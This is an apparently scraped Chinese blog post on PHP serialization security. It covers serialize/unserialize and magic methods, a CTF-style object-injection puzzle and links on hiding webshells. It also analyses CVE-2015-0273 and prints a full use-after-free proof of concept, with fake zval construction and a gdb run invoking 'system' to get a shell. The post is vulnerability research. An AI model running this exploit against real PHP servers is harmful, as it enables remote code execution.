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PHP serialize && unserialize Security Risk R

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Jun 06, 2016 pm 07:48 PM

ampphpserializeunserialize

目录 1 . 序列化的定义 2 . serialize：序列化 3 . unserialize：反序列化 4 . 序列化、反序列化存在的安全风险 5 . Use After Free Vulnerability in unserialize() with DateTime* [CVE- 2015 - 0273 ] 6 . PHP中的内存破坏漏洞利用(CVE- 2014 -8142和CVE-

<span>1</span><span>. 序列化的定义
</span><span>2</span><span>. serialize：序列化
</span><span>3</span><span>. unserialize：反序列化
</span><span>4</span><span>. 序列化、反序列化存在的安全风险
</span><span>5</span>. Use After Free Vulnerability <span>in</span> unserialize() with DateTime* [CVE-<span>2015</span>-<span>0273</span><span>]
</span><span>6</span>. PHP中的内存破坏漏洞利用(CVE-<span>2014</span>-8142和CVE-<span>2015</span>-<span>0231</span>)

1. 序列化的定义

序列化在计算机科学中通常有以下定义:

<span>1</span><span>. 对同步控制而言，表示强制在同一时间内进行单一存取 
</span><span>2</span>. 在数据储存与传送的部分是指将一个对象存储至一个储存媒介，例如档案或是记亿体缓冲等，或者透过网络传送资料时进行编码的过程，可以是字节或是XML等格式。而字节的或XML编码格式可以还原完全相等的对象。这程序被应用在不同应用程序之间传送对象，以及服务器将对象储存到档案或数据库。相反的过程又称为反序列化

序列化有多个优点

<span>1</span><span>. 一个简单和持久的方法使对象持续
</span><span>2</span><span>. 一个发起远程过程调用的方法，例如在SOAP内的 
</span><span>3</span>. 一个分发对象的方法，尤其是在如COM及CORBA的软件组件化内

Relevant Link:

http:<span>//</span><span>zh.wikipedia.org/wiki/%E5%BA%8F%E5%88%97%E5%8C%96</span>
http:<span>//</span><span>baike.baidu.com/view/160029.htm</span>

2. serialize：序列化

serialize: 产生一个可存储的值的表示
serialize() 返回字符串，此字符串包含了表示 value 的字节流，可以存储于任何地方。这有利于存储或传递 PHP 的值，同时不丢失其类型和结构
serialize() 可处理除了 resource 之外的任何类型，包括

<span>1</span><span>. 指向其自身引用的数组
</span><span>2</span><span>. serialize() 的数组／对象中的引用也将被存储(引用本身也会被序列化)
</span><span>3</span>. ...

从本质上来讲，序列化的过程是一个"对象(广义上的对象，包括integer、float、string、array、object)"进行"对象销毁"，然后转换为一个通用的中间可存储字符串，在整个序列化过程中，对象经历的声明周期如下

<span>1</span><span>. __sleep(): 在执行对象销毁前获得执行权限
</span><span>2</span>. __destruct()：执行实际的对象销毁操作

code

<span>php
    </span><span>class</span><span> Connection 
    {
        </span><span>var</span><span> $protected_var;
        </span><span>var</span><span> $private_var;
        
        </span><span>public</span><span> function __construct($server, $username, $password, $db)
        {
            echo </span><span>"</span><span>function __construct() is called</span><span>"</span> . <span>"</span><span></span><span>"</span><span>;
            $</span><span>this</span>->protected_var = <span>"</span><span>protected_var</span><span>"</span><span>;
            $</span><span>this</span>->private_var = <span>"</span><span>private_var</span><span>"</span><span>;
        }
        
        function __destruct() 
        {
            echo </span><span>"</span><span>function __destruct() is called</span><span>"</span> . <span>"</span><span></span><span>"</span><span>;
           }
        
        </span><span>public</span><span> function __sleep()
        {
            echo </span><span>"</span><span>function __sleep() is called</span><span>"</span> . <span>"</span><span></span><span>"</span><span>;
        }
        
        </span><span>public</span><span> function __wakeup()
        {
            echo </span><span>"</span><span>function __wakeup() is called</span><span>"</span> . <span>"</span><span></span><span>"</span><span>;
        }
    }

    </span><span>//</span><span>initialize a var</span>
    $obj = <span>new</span><span> Connection();

    </span><span>//</span><span>var_dump($obj);</span>
<span>
    $result </span>=<span> serialize($obj);

    </span><span>//</span><span>var_dump($result);</span>
<span>
    unserialize($result);
</span>?>

Relevant Link:

http:<span>//</span><span>php.net/manual/zh/function.serialize.php</span>
http:<span>//</span><span>php.net/manual/zh/language.oop5.magic.php#object.wakeup</span>
http:<span>//</span><span>php.net/manual/zh/language.oop5.decon.php</span>

3. unserialize：反序列化

从已存储的表示中创建 PHP 的值
unserialize() 对单一的已序列化的变量进行操作，将其转换回 PHP 的值

在反序列化中，经历的对象声明周期为

<span>1</span><span>. __construct()：执行对象注册、包括对象中成员的注册
</span><span>2</span>. __wakeup：在构造函数执行后获得执行权限

Relevant Link:

http:<span>//</span><span>php.net/manual/zh/function.unserialize.php</span>

4. 序列化、反序列化存在的安全风险

0x1: 对象注入

<span>php
    #GOAL: </span><span>get</span><span> the secret;
     
    </span><span>class</span><span> just4fun 
    {
        </span><span>var</span><span> $enter;
        </span><span>var</span><span> $secret;
    }
     
    </span><span>if</span> (isset($_GET[<span>'</span><span>pass</span><span>'</span><span>])) 
    {
        $pass </span>= $_GET[<span>'</span><span>pass</span><span>'</span><span>];
     
        </span><span>if</span><span>(get_magic_quotes_gpc())
        {
        $pass</span>=<span>stripslashes($pass);
        }
     
        $o </span>=<span> unserialize($pass);
     
        </span><span>if</span><span> ($o) 
        {
        $o</span>->secret = <span>"</span><span>?????????????????????????????</span><span>"</span><span>;
        </span><span>if</span> ($o->secret === $o-><span>enter)
            echo </span><span>"</span><span>Congratulation! Here is my secret: </span><span>"</span>.$o-><span>secret;
        </span><span>else</span><span>
            echo </span><span>"</span><span>Oh no... You can't fool me</span><span>"</span><span>;
        }
        </span><span>else</span> echo <span>"</span><span>are you trolling?</span><span>"</span><span>;
    }
</span>?>

serialize一个just4fun的对象，序列化之前先进行引用赋值

$o->enter = &$o->secret

0x2: PHP Session 序列化及反序列化处理器

http:<span>//</span><span>drops.wooyun.org/tips/3909</span>

0x3: 基于序列化、反序列化的Webshell隐藏技巧

http:<span>//</span><span>www.cnblogs.com/LittleHann/p/3522990.html</span>
搜索：<span>0x22</span>: PHP的序列化、反序列化特性布置后门

Relevant Link:

http:<span>//</span><span>drops.wooyun.org/papers/660</span>

5. Use After Free Vulnerability in unserialize() with DateTime [CVE-2015-0273]

A use-after-free vulnerability was discovered in unserialize() with DateTime/DateTimeZone objects's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.

0x1: Affected Versions

Affected <span>is</span> PHP <span>5.6</span> 5.6.<span>6</span><span>
Affected </span><span>is</span> PHP <span>5.5</span> 5.5.<span>22</span><span>
Affected </span><span>is</span> PHP <span>5.4</span> 5.4.<span>38</span><span>
Affected </span><span>is</span> PHP <span>5.3</span> 5.3.<span>29</span>

0x2: 漏洞源代码分析

\php-src-master\ext\date\php_date.c

<span>static</span> <span>int</span> php_date_initialize_from_hash(php_date_obj **dateobj, HashTable *<span>myht)
{
    zval             </span>*<span>z_date;
    zval             </span>*<span>z_timezone;
    zval             </span>*<span>z_timezone_type;
    zval              tmp_obj;
    timelib_tzinfo   </span>*<span>tzi;
    php_timezone_obj </span>*<span>tzobj;

    z_date </span>= zend_hash_str_find(myht, <span>"</span><span>date</span><span>"</span>, <span>sizeof</span>(<span>"</span><span>data</span><span>"</span>)-<span>1</span><span>);
    </span><span>if</span><span> (z_date) {
        convert_to_string(z_date);
        z_timezone_type </span>= zend_hash_str_find(myht, <span>"</span><span>timezone_type</span><span>"</span>, <span>sizeof</span>(<span>"</span><span>timezone_type</span><span>"</span>)-<span>1</span><span>);
        </span><span>if</span><span> (z_timezone_type) {
            convert_to_long(z_timezone_type);
            z_timezone </span>= zend_hash_str_find(myht, <span>"</span><span>timezone</span><span>"</span>, <span>sizeof</span>(<span>"</span><span>timezone</span><span>"</span>)-<span>1</span><span>);
            </span><span>if</span><span> (z_timezone) {
                convert_to_string(z_timezone);

...</span>

The convert_to_long() leads to the ZVAL and all its children is freed from memory. However the unserialize() code will still allow to use R: or r: to set references to that already freed memory. There is a use after free vulnerability, and allows to execute arbitrary code.

0x3: poc

<span>php

$f </span>= $argv[<span>1</span><span>];
$c </span>= $argv[<span>2</span><span>];

$fakezval1 </span>= ptr2str(<span>0x100b83008</span><span>);
$fakezval1 .</span>= ptr2str(<span>0x8</span><span>);
$fakezval1 .</span>= <span>"</span><span>\x00\x00\x00\x00</span><span>"</span><span>;
$fakezval1 .</span>= <span>"</span><span>\x06</span><span>"</span><span>;
$fakezval1 .</span>= <span>"</span><span>\x00</span><span>"</span><span>;
$fakezval1 .</span>= <span>"</span><span>\x00\x00</span><span>"</span><span>;

$data1 </span>= <span>'</span><span>a:3:{i:0;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;i:1;}s:8:"timezone";s:3:"UTC";}i:1;s:</span><span>'</span>.strlen($fakezval1).<span>'</span><span>:"</span><span>'</span>.$fakezval1.<span>'</span><span>";i:2;a:1:{i:0;R:4;}}</span><span>'</span><span>;

$x </span>=<span> unserialize($data1);
$y </span>= $x[<span>2</span><span>];

</span><span>//</span><span> zend_eval_string()'s address</span>
$y[<span>0</span>][<span>0</span>] = <span>"</span><span>\x6d</span><span>"</span><span>;
$y[</span><span>0</span>][<span>1</span>] = <span>"</span><span>\x1e</span><span>"</span><span>;
$y[</span><span>0</span>][<span>2</span>] = <span>"</span><span>\x35</span><span>"</span><span>;
$y[</span><span>0</span>][<span>3</span>] = <span>"</span><span>\x00</span><span>"</span><span>;
$y[</span><span>0</span>][<span>4</span>] = <span>"</span><span>\x01</span><span>"</span><span>;
$y[</span><span>0</span>][<span>5</span>] = <span>"</span><span>\x00</span><span>"</span><span>;
$y[</span><span>0</span>][<span>6</span>] = <span>"</span><span>\x00</span><span>"</span><span>;
$y[</span><span>0</span>][<span>7</span>] = <span>"</span><span>\x00</span><span>"</span><span>;

$fakezval2 </span>= ptr2str(<span>0x3b296324286624</span>); <span>//</span><span> $f($c);</span>
$fakezval2 .= ptr2str(<span>0x100b83000</span><span>);
$fakezval2 .</span>= <span>"</span><span>\x00\x00\x00\x00</span><span>"</span><span>;
$fakezval2 .</span>= <span>"</span><span>\x05</span><span>"</span><span>;
$fakezval2 .</span>= <span>"</span><span>\x00</span><span>"</span><span>;
$fakezval2 .</span>= <span>"</span><span>\x00\x00</span><span>"</span><span>;

$data2 </span>= <span>'</span><span>a:3:{i:0;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;i:1;}s:8:"timezone";s:3:"UTC";}i:1;s:</span><span>'</span>.strlen($fakezval2).<span>'</span><span>:"</span><span>'</span>.$fakezval2.<span>'</span><span>";i:2;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;R:4;}s:8:"timezone";s:3:"UTC";}}</span><span>'</span><span>;

$z </span>=<span> unserialize($data2);

function ptr2str($ptr)
{
    $</span><span>out</span> = <span>""</span><span>;
    </span><span>for</span> ($i=<span>0</span>; $i8; $i++<span>) {
        $</span><span>out</span> .= chr($ptr & <span>0xff</span><span>);
        $ptr </span>>>= <span>8</span><span>;
    }
    </span><span>return</span> $<span>out</span><span>;
}

</span>?>

gdb php
run uafpoc.php assert "system$'sh'$==exit"

Relevant Link:

https:<span>//</span><span>github.com/80vul/phpcodz/tree/master/research</span>

6. PHP中的内存破坏漏洞利用(CVE-2014-8142和CVE-2015-0231)

待研究

Relevant Link:

http:<span>//</span><span>drops.wooyun.org/papers/4864</span>

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